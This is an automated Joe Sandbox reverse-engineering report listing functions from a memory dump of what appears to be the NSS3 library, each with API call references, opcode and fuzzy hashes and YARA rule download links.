Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: e43594beb94ff67a3f82382126eb63e2c0147cd6863b4ff1461500ce9b782a98
Instruction ID: 6a3e07f35faf58705eec1df57c3fd5c54547f50a3fdcbf686fed2b8232d892f3
Opcode Fuzzy Hash: e43594beb94ff67a3f82382126eb63e2c0147cd6863b4ff1461500ce9b782a98
Instruction Fuzzy Hash: 7811D679E00604AFDB40AF24DC48A9A3B78EF09368F655164FD089B712D730ED44C7E1

Function 6CE9ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CE9F0AD,6CE9F150,?,6CE9F150,?,?,?), ref: 6CE9ECBA

Part of subcall function 6CEA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE487ED,00000800,6CE3EF74,00000000), ref: 6CEA1000
Part of subcall function 6CEA0FF0: PR_NewLock.NSS3(?,00000800,6CE3EF74,00000000), ref: 6CEA1016
Part of subcall function 6CEA0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE487ED,00000008,?,00000800,6CE3EF74,00000000), ref: 6CEA102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CE9ECD1

Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA10F3
Part of subcall function 6CEA10C0: EnterCriticalSection.KERNEL32(?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA110C
Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1141
Part of subcall function 6CEA10C0: PR_Unlock.NSS3(?,?,?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA1182
Part of subcall function 6CEA10C0: TlsGetValue.KERNEL32(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CE9ED02

Part of subcall function 6CEA10C0: PL_ArenaAllocate.NSS3(?,6CE48802,00000000,00000008,?,6CE3EF74,00000000), ref: 6CEA116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CE9ED5A

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 8f2b38b42374b8daf2afe21c4c6a61c49a93c7383827d84020de0dd9749b8213
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: C321D1B5A00B429BE700CF26D944B52B7F4BFA530CF25C219E91C8BB61EB70E594C6D0

Function 6CECEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CEB7FFA,?,6CEB9767,?,8B7874C0,0000A48E), ref: 6CECEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CEB7FFA,?,6CEB9767,?,8B7874C0,0000A48E), ref: 6CECEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CEB7FFA,?,6CEB9767,?,8B7874C0,0000A48E), ref: 6CECEE14

Part of subcall function 6CEA0BE0: malloc.MOZGLUE(6CE98D2D,?,00000000,?), ref: 6CEA0BF8
Part of subcall function 6CEA0BE0: TlsGetValue.KERNEL32(6CE98D2D,?,00000000,?), ref: 6CEA0C15

memcpy.VCRUNTIME140(?,?,6CEB9767,00000000,00000000,6CEB7FFA,?,6CEB9767,?,8B7874C0,0000A48E), ref: 6CECEE33

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: b0b4fdbcd9d879954428200918ee53b8e2e3e762ab65ad86ef411c54a45bbe84
Instruction ID: fed8f8acccd0018b5baba12299890060675e5c8639831b5fedb3fd66cc3b2261
Opcode Fuzzy Hash: b0b4fdbcd9d879954428200918ee53b8e2e3e762ab65ad86ef411c54a45bbe84
Instruction Fuzzy Hash: 361191B1B00B06AFEB109E65DD85B46B7B8AB0439DF304535E92987B00E330E864C7E3

Function 6CE4DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CE606A0: TlsGetValue.KERNEL32 ref: 6CE606C2
Part of subcall function 6CE606A0: EnterCriticalSection.KERNEL32(?), ref: 6CE606D6
Part of subcall function 6CE606A0: PR_Unlock.NSS3 ref: 6CE606EB

CERT_NewCertList.NSS3 ref: 6CE4DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CE4DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE4DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE4E029

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 6bd66e2c846ae1184e8d72a629e30ad738cfbe20037f4c62c7ee9ed0a5c69ca0
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 71116F71A00A056BDB108EA97C00BABF578AB4135DF348538E838C7B00E732DC1592E1

Function 6CE68DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE68DE7
EnterCriticalSection.KERNEL32 ref: 6CE68DFC
PR_Unlock.NSS3 ref: 6CE68E2D
PR_SetError.NSS3 ref: 6CE68E49

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 5652163754c9377f73f9fe59fef40a1f72fa103a96374ae1658a418e1b213423
Instruction ID: 3eae95361d73a7bd73a9b4e06c81bfefeb4b1c1651d0e59e7251f2695a74f717
Opcode Fuzzy Hash: 5652163754c9377f73f9fe59fef40a1f72fa103a96374ae1658a418e1b213423
Instruction Fuzzy Hash: E3118F75A15A009BD740AF79D448259BBF4FF06358F11596ADC89D7B00E730E854CBD2

Function 6CEEAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CED5F17,?,?,?,?,?,?,?,?,6CEDAAD4), ref: 6CEEAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CED5F17,?,?,?,?,?,?,?,?,6CEDAAD4), ref: 6CEEACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CEDAAD4), ref: 6CEEACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CEDAAD4), ref: 6CEEACDB

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: e702505b28fbf0d4bc6e1b2734e3eb579c2ca55b8e304cbe017a3f1c3010e34f
Instruction ID: cce1bab9a1af2121cee50efab2f8cdf6a9c7784a215185934ce9e53625509cff
Opcode Fuzzy Hash: e702505b28fbf0d4bc6e1b2734e3eb579c2ca55b8e304cbe017a3f1c3010e34f
Instruction Fuzzy Hash: CA014CB1A01B019BEB50DF29D908753BBF8BF04699B644839D85AC3B00E731F455CB91

Function 6CE51DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CE51DFB

Part of subcall function 6CE495B0: TlsGetValue.KERNEL32(00000000,?,6CE600D2,00000000), ref: 6CE495D2
Part of subcall function 6CE495B0: EnterCriticalSection.KERNEL32(?,?,?,6CE600D2,00000000), ref: 6CE495E7
Part of subcall function 6CE495B0: PR_Unlock.NSS3(?,?,?,?,6CE600D2,00000000), ref: 6CE49605

PR_EnterMonitor.NSS3 ref: 6CE51E09

Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF090AB
Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF090C9
Part of subcall function 6CF09090: EnterCriticalSection.KERNEL32 ref: 6CF090E5
Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF09116
Part of subcall function 6CF09090: LeaveCriticalSection.KERNEL32 ref: 6CF0913F

Part of subcall function 6CE4E190: PR_EnterMonitor.NSS3(?,?,6CE4E175), ref: 6CE4E19C
Part of subcall function 6CE4E190: PR_EnterMonitor.NSS3(6CE4E175), ref: 6CE4E1AA
Part of subcall function 6CE4E190: PR_ExitMonitor.NSS3 ref: 6CE4E208
Part of subcall function 6CE4E190: PL_HashTableRemove.NSS3(?), ref: 6CE4E219
Part of subcall function 6CE4E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE4E231
Part of subcall function 6CE4E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE4E249
Part of subcall function 6CE4E190: PR_ExitMonitor.NSS3 ref: 6CE4E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE51E37
PR_ExitMonitor.NSS3 ref: 6CE51E4A

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 32303664f27cd75075613d84b3abf65ae690c1a8357857e941a23cd0b103cf1d
Instruction ID: 5e97790eacb76ca45a3c1628a67b96381dba77c7b5587b7828afe534fe01256e
Opcode Fuzzy Hash: 32303664f27cd75075613d84b3abf65ae690c1a8357857e941a23cd0b103cf1d
Instruction Fuzzy Hash: 89018471B50150DBEA005EA5FC00F4AB7B4AB42B4CF714035D91A97B51EB72E824DBD2

Function 6CE51D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE51D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE51D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CE51D9C
free.MOZGLUE(00000000), ref: 6CE51DB8

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 1ac4d4c6a5bc69e6f91adce48881fef0fd33b36954ba21d874389da328848fc8
Instruction ID: cef921eae9c56d3a8ac195a314e464298bb99b45fb41f177523593fcd27f1f05
Opcode Fuzzy Hash: 1ac4d4c6a5bc69e6f91adce48881fef0fd33b36954ba21d874389da328848fc8
Instruction Fuzzy Hash: F7F0D6B3A012106BFB101ED96C42B4676789BC1A9DF700239DA198BB40D762E81587E2

Function 6CE9FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE49003,?), ref: 6CE9FD91

Part of subcall function 6CEA0BE0: malloc.MOZGLUE(6CE98D2D,?,00000000,?), ref: 6CEA0BF8
Part of subcall function 6CEA0BE0: TlsGetValue.KERNEL32(6CE98D2D,?,00000000,?), ref: 6CEA0C15

PORT_Alloc_Util.NSS3(A4686CEA,?), ref: 6CE9FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEA,?,?), ref: 6CE9FDC4
free.MOZGLUE(00000000,?,?), ref: 6CE9FDD1

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: c848832cbf5ecccfd3e020771b88a7bf32407cb8dd2616a9795eb5d037fb2c39
Instruction ID: 6c5c94f72a6ed3fd9125edd3d1fe1d0673a789f999f00b9c9b0f68deba7c81af
Opcode Fuzzy Hash: c848832cbf5ecccfd3e020771b88a7bf32407cb8dd2616a9795eb5d037fb2c39
Instruction Fuzzy Hash: 1BF0C8B16012025BFB004F55DC90A17B77CEF5529DB248135FD098AF11E721D815C7E1

Function 6CF5CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CF5CC61
free.MOZGLUE ref: 6CF5CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CF5CC80
free.MOZGLUE(?), ref: 6CF5CC87

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 08536dd8ff32b6dcb18f3071e8be7e038532eac17a4ff2a119c3cadbb62db8bb
Instruction ID: 18eafde3e630686e8f8b6d24cb145cfdb2ed6bc6b56ec6c5410149162cf2e455
Opcode Fuzzy Hash: 08536dd8ff32b6dcb18f3071e8be7e038532eac17a4ff2a119c3cadbb62db8bb
Instruction Fuzzy Hash: DDE065767006089FCE10EFA8DC44C8777BCEE4A2707150525E691C3700D231F905CBE1

Function 6CE39DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CE39E1F

Part of subcall function 6CDF13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CDC2352,?,00000000,?,?), ref: 6CDF1413
Part of subcall function 6CDF13C0: memcpy.VCRUNTIME140(00000000,6CDC2352,00000002,?,?,?,?,6CDC2352,?,00000000,?,?), ref: 6CDF14C0

Strings

ESCAPE expression must be a single character, xrefs: 6CE39F78
LIKE or GLOB pattern too complex, xrefs: 6CE3A006

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 546770babd5fb6a2966f859c08997ee65ced974a780dd018d04aad7697756fec
Instruction ID: 7d642b0b38a34cfc502650a027023a9b735c8d088f0ba00f4a816d1ec0b1a99b
Opcode Fuzzy Hash: 546770babd5fb6a2966f859c08997ee65ced974a780dd018d04aad7697756fec
Instruction Fuzzy Hash: 7081EA71A046654BDB00CF29C4813B9B7F2AF4531CF389659D8AC8BBD1DB35E846C791

Function 6CE94D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE94D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CE94DE6

Strings

%d.%d, xrefs: 6CE94DDE

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: e70de19a9bc5c456d5972d664d5ceb0f4e9afffd347af898ab8a7181171c6514
Instruction ID: 838c23a71733d5cf320f078a8df8bbf5c996084543c5dab3951beea424d3168d
Opcode Fuzzy Hash: e70de19a9bc5c456d5972d664d5ceb0f4e9afffd347af898ab8a7181171c6514
Instruction Fuzzy Hash: FF31FCB2D042186BEB609BA1AC01BFF7778EF45308F15042EED159B791EB309905CBA1

Function 6CEB4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8l,00000000,00000000,?,?,6CEB3827,?,00000000), ref: 6CEB4D0A

Part of subcall function 6CEA0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEA08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6CEB4D22

Part of subcall function 6CE9FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE41A3E,00000048,00000054), ref: 6CE9FD56

Strings

'8l, xrefs: 6CEB4D07

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8l
API String ID: 1521942269-1867215535
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: cffb690c7a9b2cf12b4a25f09fc4606b45a91a34765efccd57b2ad42eb53f9f2
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: F0F09C3260112857DB104E6B9D4075736FC9B4167DF350272ED18DB7A1E671CC01C6D2

Function 6CEDAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CEDAF78

Part of subcall function 6CE3ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE3ACE2
Part of subcall function 6CE3ACC0: malloc.MOZGLUE(00000001), ref: 6CE3ACEC
Part of subcall function 6CE3ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE3AD02
Part of subcall function 6CE3ACC0: TlsGetValue.KERNEL32 ref: 6CE3AD3C
Part of subcall function 6CE3ACC0: calloc.MOZGLUE(00000001,?), ref: 6CE3AD8C
Part of subcall function 6CE3ACC0: PR_Unlock.NSS3 ref: 6CE3ADC0
Part of subcall function 6CE3ACC0: PR_Unlock.NSS3 ref: 6CE3AE8C
Part of subcall function 6CE3ACC0: free.MOZGLUE(?), ref: 6CE3AEAB

memcpy.VCRUNTIME140(6CFA3084,6CFA02AC,00000090), ref: 6CEDAF94

Strings

SSL, xrefs: 6CEDAF73

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 8e36c3e092382985ee7b6621823a00d53c860b6b7b93c6c753c45f94c683f070
Instruction ID: 03bb836b6a0d803814b0e1a4d0958755735c93ee0aaa0effc68752f197895d5d
Opcode Fuzzy Hash: 8e36c3e092382985ee7b6621823a00d53c860b6b7b93c6c753c45f94c683f070
